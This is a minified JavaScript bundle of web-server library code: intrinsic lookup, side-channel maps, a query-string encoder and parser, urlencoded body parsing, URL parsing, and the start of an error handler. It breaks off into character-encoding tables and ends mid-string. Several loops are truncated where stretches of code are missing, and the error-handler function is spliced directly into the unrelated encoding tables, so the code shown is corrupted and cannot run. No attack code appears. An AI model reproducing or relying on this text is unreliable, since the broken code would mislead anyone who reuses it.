FinalizationRegistry>"u"?Ue:FinalizationRegistry,"%Function%":Jy,"%GeneratorFunction%":is,"%Int8Array%":typeof Int8Array>"u"?Ue:Int8Array,"%Int16Array%":typeof Int16Array>"u"?Ue:Int16Array,"%Int32Array%":typeof Int32Array>"u"?Ue:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":ss&&jt?jt(jt([][Symbol.iterator]())):Ue,"%JSON%":typeof JSON=="object"?JSON:Ue,"%Map%":typeof Map>"u"?Ue:Map,"%MapIteratorPrototype%":typeof Map>"u"||!ss||!jt?Ue:jt(new Map()[Symbol.iterator]()),"%Math%":Math,"%Number%":Number,"%Object%":SC,"%Object.getOwnPropertyDescriptor%":qi,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":typeof Promise>"u"?Ue:Promise,"%Proxy%":typeof Proxy>"u"?Ue:Proxy,"%RangeError%":kC,"%ReferenceError%":RC,"%Reflect%":typeof Reflect>"u"?Ue:Reflect,"%RegExp%":RegExp,"%Set%":typeof Set>"u"?Ue:Set,"%SetIteratorPrototype%":typeof Set>"u"||!ss||!jt?Ue:jt(new Set()[Symbol.iterator]()),"%SharedArrayBuffer%":typeof SharedArrayBuffer>"u"?Ue:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":ss&&jt?jt(""[Symbol.iterator]()):Ue,"%Symbol%":ss?Symbol:Ue,"%SyntaxError%":cs,"%ThrowTypeError%":DC,"%TypedArray%":FC,"%TypeError%":os,"%Uint8Array%":typeof Uint8Array>"u"?Ue:Uint8Array,"%Uint8ClampedArray%":typeof Uint8ClampedArray>"u"?Ue:Uint8ClampedArray,"%Uint16Array%":typeof Uint16Array>"u"?Ue:Uint16Array,"%Uint32Array%":typeof Uint32Array>"u"?Ue:Uint32Array,"%URIError%":$C,"%WeakMap%":typeof WeakMap>"u"?Ue:WeakMap,"%WeakRef%":typeof WeakRef>"u"?Ue:WeakRef,"%WeakSet%":typeof WeakSet>"u"?Ue:WeakSet,"%Function.prototype.call%":Li,"%Function.prototype.apply%":Yy,"%Object.defineProperty%":MC,"%Object.getPrototypeOf%":qC,"%Math.abs%":PC,"%Math.floor%":OC,"%Math.max%":CC,"%Math.min%":IC,"%Math.pow%":AC,"%Math.round%":NC,"%Math.sign%":jC,"%Reflect.getPrototypeOf%":LC};if(jt)try{null.error}catch(t){Gy=jt(jt(t)),an["%Error.prototype%"]=Gy}var Gy,zC=function t(e){var r;if(e==="%AsyncFunction%")r=tp("async function () {}");else if(e==="%GeneratorFunction%")r=tp("function* () {}");else if(e==="%AsyncGeneratorFunction%")r=tp("async function* () {}");else if(e==="%AsyncGenerator%"){var n=t("%AsyncGeneratorFunction%");n&&(r=n.prototype)}else if(e==="%AsyncIteratorPrototype%"){var a=t("%AsyncGenerator%");a&&jt&&(r=jt(a.prototype))}return an[e]=r,r},Ky={__proto__:null,"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},Fi=Di(),hc=Zy(),UC=Fi.call(Li,Array.prototype.concat),HC=Fi.call(Yy,Array.prototype.splice),Xy=Fi.call(Li,String.prototype.replace),vc=Fi.call(Li,String.prototype.slice),BC=Fi.call(Li,RegExp.prototype.exec),VC=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,WC=/\\(\\)?/g,ZC=function(e){var r=vc(e,0,1),n=vc(e,-1);if(r==="%"&&n!=="%")throw new cs("invalid intrinsic syntax, expected closing `%`");if(n==="%"&&r!=="%")throw new cs("invalid intrinsic syntax, expected opening `%`");var a=[];return Xy(e,VC,function(s,i,o,c){a[a.length]=o?Xy(c,WC,"$1"):i||s}),a},GC=function(e,r){var n=e,a;if(hc(Ky,n)&&(a=Ky[n],n="%"+a[0]+"%"),hc(an,n)){var s=an[n];if(s===is&&(s=zC(n)),typeof s>"u"&&!r)throw new os("intrinsic "+e+" exists, but is not available. Please file an issue!");return{alias:a,name:n,value:s}}throw new cs("intrinsic "+e+" does not exist!")};Qy.exports=function(e,r){if(typeof e!="string"||e.length===0)throw new os("intrinsic name must be a non-empty string");if(arguments.length>1&&typeof r!="boolean")throw new os('"allowMissing" argument must be a boolean');if(BC(/^%?[^%]*%?$/,e)===null)throw new cs("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var n=ZC(e),a=n.length>0?n[0]:"",s=GC("%"+a+"%",r),i=s.name,o=s.value,c=!1,u=s.alias;u&&(a=u[0],HC(n,UC([0,1],u)));for(var l=1,d=!0;l=n.length){var b=qi(o,f);d=!!b,d&&"get"in b&&!("originalValue"in b.get)?o=b.get:o=o[f]}else d=hc(o,f),o=o[f];d&&!c&&(an[i]=o)}}return o}});var ap=V((aW,r_)=>{"use strict";var e_=gc(),t_=Qd(),KC=t_([e_("%String.prototype.indexOf%")]);r_.exports=function(e,r){var n=e_(e,!!r);return typeof n=="function"&&KC(e,".prototype.")>-1?t_([n]):n}});var np=V((nW,n_)=>{"use strict";var XC=gc(),zi=ap(),JC=Mi(),YC=tn(),a_=XC("%Map%",!0),QC=zi("Map.prototype.get",!0),eI=zi("Map.prototype.set",!0),tI=zi("Map.prototype.has",!0),rI=zi("Map.prototype.delete",!0),aI=zi("Map.prototype.size",!0);n_.exports=!!a_&&function(){var e,r={assert:function(n){if(!r.has(n))throw new YC("Side channel does not contain "+JC(n))},delete:function(n){if(e){var a=rI(e,n);return aI(e)===0&&(e=void 0),a}return!1},get:function(n){if(e)return QC(e,n)},has:function(n){return e?tI(e,n):!1},set:function(n,a){e||(e=new a_),eI(e,n,a)}};return r}});var i_=V((sW,s_)=>{"use strict";var nI=gc(),_c=ap(),sI=Mi(),yc=np(),iI=tn(),us=nI("%WeakMap%",!0),oI=_c("WeakMap.prototype.get",!0),cI=_c("WeakMap.prototype.set",!0),uI=_c("WeakMap.prototype.has",!0),lI=_c("WeakMap.prototype.delete",!0);s_.exports=us?function(){var e,r,n={assert:function(a){if(!n.has(a))throw new iI("Side channel does not contain "+sI(a))},delete:function(a){if(us&&a&&(typeof a=="object"||typeof a=="function")){if(e)return lI(e,a)}else if(yc&&r)return r.delete(a);return!1},get:function(a){return us&&a&&(typeof a=="object"||typeof a=="function")&&e?oI(e,a):r&&r.get(a)},has:function(a){return us&&a&&(typeof a=="object"||typeof a=="function")&&e?uI(e,a):!!r&&r.has(a)},set:function(a,s){us&&a&&(typeof a=="object"||typeof a=="function")?(e||(e=new us),cI(e,a,s)):yc&&(r||(r=yc()),r.set(a,s))}};return n}:yc});var c_=V((iW,o_)=>{"use strict";var dI=tn(),pI=Mi(),fI=Mg(),mI=np(),hI=i_(),vI=hI||mI||fI;o_.exports=function(){var e,r={assert:function(n){if(!r.has(n))throw new dI("Side channel does not contain "+pI(n))},delete:function(n){return!!e&&e.delete(n)},get:function(n){return e&&e.get(n)},has:function(n){return!!e&&e.has(n)},set:function(n,a){e||(e=vI()),e.set(n,a)}};return r}});var bc=V((oW,u_)=>{"use strict";var gI=String.prototype.replace,yI=/%20/g,sp={RFC1738:"RFC1738",RFC3986:"RFC3986"};u_.exports={default:sp.RFC3986,formatters:{RFC1738:function(t){return gI.call(t,yI,"+")},RFC3986:function(t){return String(t)}},RFC1738:sp.RFC1738,RFC3986:sp.RFC3986}});var cp=V((cW,d_)=>{"use strict";var _I=bc(),ip=Object.prototype.hasOwnProperty,nn=Array.isArray,Vr=(function(){for(var t=[],e=0;e<256;++e)t.push("%"+((e<16?"0":"")+e.toString(16)).toUpperCase());return t})(),bI=function(e){for(;e.length>1;){var r=e.pop(),n=r.obj[r.prop];if(nn(n)){for(var a=[],s=0;s=op?i.slice(c,c+op):i,l=[],d=0;d=48&&f<=57||f>=65&&f<=90||f>=97&&f<=122||s===_I.RFC1738&&(f===40||f===41)){l[l.length]=u.charAt(d);continue}if(f<128){l[l.length]=Vr[f];continue}if(f<2048){l[l.length]=Vr[192|f>>6]+Vr[128|f&63];continue}if(f<55296||f>=57344){l[l.length]=Vr[224|f>>12]+Vr[128|f>>6&63]+Vr[128|f&63];continue}d+=1,f=65536+((f&1023)<<10|u.charCodeAt(d)&1023),l[l.length]=Vr[240|f>>18]+Vr[128|f>>12&63]+Vr[128|f>>6&63]+Vr[128|f&63]}o+=l.join("")}return o},TI=function(e){for(var r=[{obj:{o:e},prop:"o"}],n=[],a=0;a{"use strict";var f_=c_(),xc=cp(),Ui=bc(),OI=Object.prototype.hasOwnProperty,m_={brackets:function(e){return e+"[]"},comma:"comma",indices:function(e,r){return e+"["+r+"]"},repeat:function(e){return e}},Wr=Array.isArray,CI=Array.prototype.push,h_=function(t,e){CI.apply(t,Wr(e)?e:[e])},II=Date.prototype.toISOString,p_=Ui.default,Ct={addQueryPrefix:!1,allowDots:!1,allowEmptyArrays:!1,arrayFormat:"indices",charset:"utf-8",charsetSentinel:!1,delimiter:"&",encode:!0,encodeDotInKeys:!1,encoder:xc.encode,encodeValuesOnly:!1,format:p_,formatter:Ui.formatters[p_],indices:!1,serializeDate:function(e){return II.call(e)},skipNulls:!1,strictNullHandling:!1},AI=function(e){return typeof e=="string"||typeof e=="number"||typeof e=="boolean"||typeof e=="symbol"||typeof e=="bigint"},up={},NI=function t(e,r,n,a,s,i,o,c,u,l,d,f,m,g,b,p,h,y){for(var v=e,_=y,S=0,x=!1;(_=_.get(up))!==void 0&&!x;){var w=_.get(e);if(S+=1,typeof w<"u"){if(w===S)throw new RangeError("Cyclic object value");x=!0}typeof _.get(up)>"u"&&(S=0)}if(typeof l=="function"?v=l(r,v):v instanceof Date?v=m(v):n==="comma"&&Wr(v)&&(v=xc.maybeMap(v,function(H){return H instanceof Date?m(H):H})),v===null){if(i)return u&&!p?u(r,Ct.encoder,h,"key",g):r;v=""}if(AI(v)||xc.isBuffer(v)){if(u){var T=p?r:u(r,Ct.encoder,h,"key",g);return[b(T)+"="+b(u(v,Ct.encoder,h,"value",g))]}return[b(r)+"="+b(String(v))]}var R=[];if(typeof v>"u")return R;var A;if(n==="comma"&&Wr(v))p&&u&&(v=xc.maybeMap(v,u)),A=[{value:v.length>0?v.join(",")||null:void 0}];else if(Wr(l))A=l;else{var j=Object.keys(v);A=d?j.sort(d):j}var q=c?r.replace(/\./g,"%2E"):r,U=a&&Wr(v)&&v.length===1?q+"[]":q;if(s&&Wr(v)&&v.length===0)return U+"[]";for(var N=0;N"u"?e.encodeDotInKeys===!0?!0:Ct.allowDots:!!e.allowDots;return{addQueryPrefix:typeof e.addQueryPrefix=="boolean"?e.addQueryPrefix:Ct.addQueryPrefix,allowDots:o,allowEmptyArrays:typeof e.allowEmptyArrays=="boolean"?!!e.allowEmptyArrays:Ct.allowEmptyArrays,arrayFormat:i,charset:r,charsetSentinel:typeof e.charsetSentinel=="boolean"?e.charsetSentinel:Ct.charsetSentinel,commaRoundTrip:e.commaRoundTrip,delimiter:typeof e.delimiter>"u"?Ct.delimiter:e.delimiter,encode:typeof e.encode=="boolean"?e.encode:Ct.encode,encodeDotInKeys:typeof e.encodeDotInKeys=="boolean"?e.encodeDotInKeys:Ct.encodeDotInKeys,encoder:typeof e.encoder=="function"?e.encoder:Ct.encoder,encodeValuesOnly:typeof e.encodeValuesOnly=="boolean"?e.encodeValuesOnly:Ct.encodeValuesOnly,filter:s,format:n,formatter:a,serializeDate:typeof e.serializeDate=="function"?e.serializeDate:Ct.serializeDate,skipNulls:typeof e.skipNulls=="boolean"?e.skipNulls:Ct.skipNulls,sort:typeof e.sort=="function"?e.sort:null,strictNullHandling:typeof e.strictNullHandling=="boolean"?e.strictNullHandling:Ct.strictNullHandling}};v_.exports=function(t,e){var r=t,n=jI(e),a,s;typeof n.filter=="function"?(s=n.filter,r=s("",r)):Wr(n.filter)&&(s=n.filter,a=s);var i=[];if(typeof r!="object"||r===null)return"";var o=m_[n.arrayFormat],c=o==="comma"&&n.commaRoundTrip;a||(a=Object.keys(r)),n.sort&&a.sort(n.sort);for(var u=f_(),l=0;l0?m+f:""}});var b_=V((lW,__)=>{"use strict";var ls=cp(),lp=Object.prototype.hasOwnProperty,MI=Array.isArray,St={allowDots:!1,allowEmptyArrays:!1,allowPrototypes:!1,allowSparse:!1,arrayLimit:20,charset:"utf-8",charsetSentinel:!1,comma:!1,decodeDotInKeys:!1,decoder:ls.decode,delimiter:"&",depth:5,duplicates:"combine",ignoreQueryPrefix:!1,interpretNumericEntities:!1,parameterLimit:1e3,parseArrays:!0,plainObjects:!1,strictDepth:!1,strictNullHandling:!1},DI=function(t){return t.replace(/&#(\d+);/g,function(e,r){return String.fromCharCode(parseInt(r,10))})},y_=function(t,e){return t&&typeof t=="string"&&e.comma&&t.indexOf(",")>-1?t.split(","):t},qI="utf8=%26%2310003%3B",LI="utf8=%E2%9C%93",FI=function(e,r){var n={__proto__:null},a=r.ignoreQueryPrefix?e.replace(/^\?/,""):e;a=a.replace(/%5B/gi,"[").replace(/%5D/gi,"]");var s=r.parameterLimit===1/0?void 0:r.parameterLimit,i=a.split(r.delimiter,s),o=-1,c,u=r.charset;if(r.charsetSentinel)for(c=0;c-1&&(g=MI(g)?[g]:g);var b=lp.call(n,m);b&&r.duplicates==="combine"?n[m]=ls.combine(n[m],g):(!b||r.duplicates==="last")&&(n[m]=g)}return n},zI=function(t,e,r,n){for(var a=n?e:y_(e,r),s=t.length-1;s>=0;--s){var i,o=t[s];if(o==="[]"&&r.parseArrays)i=r.allowEmptyArrays&&(a===""||r.strictNullHandling&&a===null)?[]:[].concat(a);else{i=r.plainObjects?Object.create(null):{};var c=o.charAt(0)==="["&&o.charAt(o.length-1)==="]"?o.slice(1,-1):o,u=r.decodeDotInKeys?c.replace(/%2E/g,"."):c,l=parseInt(u,10);!r.parseArrays&&u===""?i={0:a}:!isNaN(l)&&o!==u&&String(l)===u&&l>=0&&r.parseArrays&&l<=r.arrayLimit?(i=[],i[l]=a):u!=="__proto__"&&(i[u]=a)}a=i}return a},UI=function(e,r,n,a){if(e){var s=n.allowDots?e.replace(/\.([^.[]+)/g,"[$1]"):e,i=/(\[[^[\]]*])/,o=/(\[[^[\]]*])/g,c=n.depth>0&&i.exec(s),u=c?s.slice(0,c.index):s,l=[];if(u){if(!n.plainObjects&&lp.call(Object.prototype,u)&&!n.allowPrototypes)return;l.push(u)}for(var d=0;n.depth>0&&(c=o.exec(s))!==null&&d"u"?St.charset:e.charset,n=typeof e.duplicates>"u"?St.duplicates:e.duplicates;if(n!=="combine"&&n!=="first"&&n!=="last")throw new TypeError("The duplicates option must be either combine, first, or last");var a=typeof e.allowDots>"u"?e.decodeDotInKeys===!0?!0:St.allowDots:!!e.allowDots;return{allowDots:a,allowEmptyArrays:typeof e.allowEmptyArrays=="boolean"?!!e.allowEmptyArrays:St.allowEmptyArrays,allowPrototypes:typeof e.allowPrototypes=="boolean"?e.allowPrototypes:St.allowPrototypes,allowSparse:typeof e.allowSparse=="boolean"?e.allowSparse:St.allowSparse,arrayLimit:typeof e.arrayLimit=="number"?e.arrayLimit:St.arrayLimit,charset:r,charsetSentinel:typeof e.charsetSentinel=="boolean"?e.charsetSentinel:St.charsetSentinel,comma:typeof e.comma=="boolean"?e.comma:St.comma,decodeDotInKeys:typeof e.decodeDotInKeys=="boolean"?e.decodeDotInKeys:St.decodeDotInKeys,decoder:typeof e.decoder=="function"?e.decoder:St.decoder,delimiter:typeof e.delimiter=="string"||ls.isRegExp(e.delimiter)?e.delimiter:St.delimiter,depth:typeof e.depth=="number"||e.depth===!1?+e.depth:St.depth,duplicates:n,ignoreQueryPrefix:e.ignoreQueryPrefix===!0,interpretNumericEntities:typeof e.interpretNumericEntities=="boolean"?e.interpretNumericEntities:St.interpretNumericEntities,parameterLimit:typeof e.parameterLimit=="number"?e.parameterLimit:St.parameterLimit,parseArrays:e.parseArrays!==!1,plainObjects:typeof e.plainObjects=="boolean"?e.plainObjects:St.plainObjects,strictDepth:typeof e.strictDepth=="boolean"?!!e.strictDepth:St.strictDepth,strictNullHandling:typeof e.strictNullHandling=="boolean"?e.strictNullHandling:St.strictNullHandling}};__.exports=function(t,e){var r=HI(e);if(t===""||t===null||typeof t>"u")return r.plainObjects?Object.create(null):{};for(var n=typeof t=="string"?FI(t,r):t,a=r.plainObjects?Object.create(null):{},s=Object.keys(n),i=0;i{"use strict";var BI=g_(),VI=b_(),WI=bc();x_.exports={formats:WI,parse:VI,stringify:BI}});var R_=V((pW,k_)=>{"use strict";var ZI=Gn(),GI=gi(),Sc=Ka(),Or=pr()("body-parser:urlencoded"),KI=zr()("body-parser"),XI=Pi(),S_=as();k_.exports=JI;var w_=Object.create(null);function JI(t){var e=t||{};e.extended===void 0&&KI("undefined extended: provide extended option");var r=e.extended!==!1,n=e.inflate!==!1,a=typeof e.limit!="number"?ZI.parse(e.limit||"100kb"):e.limit,s=e.type||"application/x-www-form-urlencoded",i=e.verify||!1,o=typeof e.depth!="number"?Number(e.depth||32):e.depth;if(i!==!1&&typeof i!="function")throw new TypeError("option verify must be function");var c=r?YI(e):eA(e),u=typeof s!="function"?tA(s):s;function l(d){return d.length?c(d):{}}return function(f,m,g){if(f._body){Or("body already parsed"),g();return}if(f.body=f.body||{},!S_.hasBody(f)){Or("skip empty body"),g();return}if(Or("content-type %j",f.headers["content-type"]),!u(f)){Or("skip parsing"),g();return}var b=QI(f)||"utf-8";if(b!=="utf-8"){Or("invalid charset"),g(Sc(415,'unsupported charset "'+b.toUpperCase()+'"',{charset:b,type:"charset.unsupported"}));return}XI(f,m,g,l,Or,{debug:Or,encoding:b,inflate:n,limit:a,verify:i,depth:o})}}function YI(t){var e=t.parameterLimit!==void 0?t.parameterLimit:1e3,r=typeof t.depth!="number"?Number(t.depth||32):t.depth,n=T_("qs");if(isNaN(e)||e<1)throw new TypeError("option parameterLimit must be a positive number");if(isNaN(r)||r<0)throw new TypeError("option depth must be a zero or a positive number");return isFinite(e)&&(e=e|0),function(s){var i=E_(s,e);if(i===void 0)throw Or("too many parameters"),Sc(413,"too many parameters",{type:"parameters.too.many"});var o=Math.max(100,i);Or("parse extended urlencoding");try{return n(s,{allowPrototypes:!0,arrayLimit:o,depth:r,strictDepth:!0,parameterLimit:e})}catch(c){throw c instanceof RangeError?Sc(400,"The input exceeded the depth",{type:"querystring.parse.rangeError"}):c}}}function QI(t){try{return(GI.parse(t).parameters.charset||"").toLowerCase()}catch{return}}function E_(t,e){for(var r=0,n=0;(n=t.indexOf("&",n))!==-1;)if(r++,n++,r===e)return;return r}function T_(t){var e=w_[t];if(e!==void 0)return e.parse;switch(t){case"qs":e=wc();break;case"querystring":e=require("querystring");break}return w_[t]=e,e.parse}function eA(t){var e=t.parameterLimit!==void 0?t.parameterLimit:1e3,r=T_("querystring");if(isNaN(e)||e<1)throw new TypeError("option parameterLimit must be a positive number");return isFinite(e)&&(e=e|0),function(a){var s=E_(a,e);if(s===void 0)throw Or("too many parameters"),Sc(413,"too many parameters",{type:"parameters.too.many"});return Or("parse urlencoding"),r(a,void 0,void 0,{maxKeys:e})}}function tA(t){return function(r){return!!S_(r,t)}}});var O_=V((Ra,P_)=>{"use strict";var rA=zr()("body-parser"),$_=Object.create(null);Ra=P_.exports=rA.function(aA,"bodyParser: use individual json/urlencoded middlewares");Object.defineProperty(Ra,"json",{configurable:!0,enumerable:!0,get:Ec("json")});Object.defineProperty(Ra,"raw",{configurable:!0,enumerable:!0,get:Ec("raw")});Object.defineProperty(Ra,"text",{configurable:!0,enumerable:!0,get:Ec("text")});Object.defineProperty(Ra,"urlencoded",{configurable:!0,enumerable:!0,get:Ec("urlencoded")});function aA(t){var e=Object.create(t||null,{type:{configurable:!0,enumerable:!0,value:void 0,writable:!0}}),r=Ra.urlencoded(e),n=Ra.json(e);return function(s,i,o){n(s,i,function(c){if(c)return o(c);r(s,i,o)})}}function Ec(t){return function(){return nA(t)}}function nA(t){var e=$_[t];if(e!==void 0)return e;switch(t){case"json":e=sg();break;case"raw":e=cg();break;case"text":e=dg();break;case"urlencoded":e=R_();break}return $_[t]=e}});var I_=V((fW,C_)=>{"use strict";C_.exports=iA;var sA=Object.prototype.hasOwnProperty;function iA(t,e,r){if(!t)throw new TypeError("argument dest is required");if(!e)throw new TypeError("argument src is required");return r===void 0&&(r=!0),Object.getOwnPropertyNames(e).forEach(function(a){if(!(!r&&sA.call(t,a))){var s=Object.getOwnPropertyDescriptor(e,a);Object.defineProperty(t,a,s)}}),t}});var Tc=V((mW,A_)=>{"use strict";A_.exports=lA;var oA=/(?:[^\x21\x23-\x3B\x3D\x3F-\x5F\x61-\x7A\x7C\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g,cA=/(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g,uA="$1\uFFFD$2";function lA(t){return String(t).replace(cA,uA).replace(oA,encodeURI)}});var Hi=V((hW,N_)=>{"use strict";var dA=/["'&<>]/;N_.exports=pA;function pA(t){var e=""+t,r=dA.exec(e);if(!r)return e;var n,a="",s=0,i=0;for(s=r.index;s{"use strict";var M_=require("url"),j_=M_.parse,kc=M_.Url;dp.exports=D_;dp.exports.original=fA;function D_(t){var e=t.url;if(e!==void 0){var r=t._parsedUrl;return L_(e,r)?r:(r=q_(e),r._raw=e,t._parsedUrl=r)}}function fA(t){var e=t.originalUrl;if(typeof e!="string")return D_(t);var r=t._parsedOriginalUrl;return L_(e,r)?r:(r=q_(e),r._raw=e,t._parsedOriginalUrl=r)}function q_(t){if(typeof t!="string"||t.charCodeAt(0)!==47)return j_(t);for(var e=t,r=null,n=null,a=1;a{"use strict";var pp=pr()("finalhandler"),mA=Tc(),hA=Hi(),z_=$i(),vA=ds(),U_=_i(),gA=ic(),yA=/\x20{2}/g,_A=/\n/g,bA=typeof setImmediate=="function"?setImmediate:function(t){process.nextTick(t.bind.apply(t,arguments))},xA=z_.isFinished;function wA(t){var e=hA(t).replace(_A,"
").replace(yA,"  ");return` +\v\f\r\x1B !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\xA5]^_\`abcdefghijklmnopqrstuvwxyz{|}\u203E\x7F\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD`},hproman8:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xC0\xC2\xC8\xCA\xCB\xCE\xCF\xB4\u02CB\u02C6\xA8\u02DC\xD9\xDB\u20A4\xAF\xDD\xFD\xB0\xC7\xE7\xD1\xF1\xA1\xBF\xA4\xA3\xA5\xA7\u0192\xA2\xE2\xEA\xF4\xFB\xE1\xE9\xF3\xFA\xE0\xE8\xF2\xF9\xE4\xEB\xF6\xFC\xC5\xEE\xD8\xC6\xE5\xED\xF8\xE6\xC4\xEC\xD6\xDC\xC9\xEF\xDF\xD4\xC1\xC3\xE3\xD0\xF0\xCD\xCC\xD3\xD2\xD5\xF5\u0160\u0161\xDA\u0178\xFF\xDE\xFE\xB7\xB5\xB6\xBE\u2014\xBC\xBD\xAA\xBA\xAB\u25A0\xBB\xB1\uFFFD"},macintosh:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\xC6\xD8\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\xE6\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u2044\xA4\u2039\u203A\uFB01\uFB02\u2021\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\xCF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},ascii:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u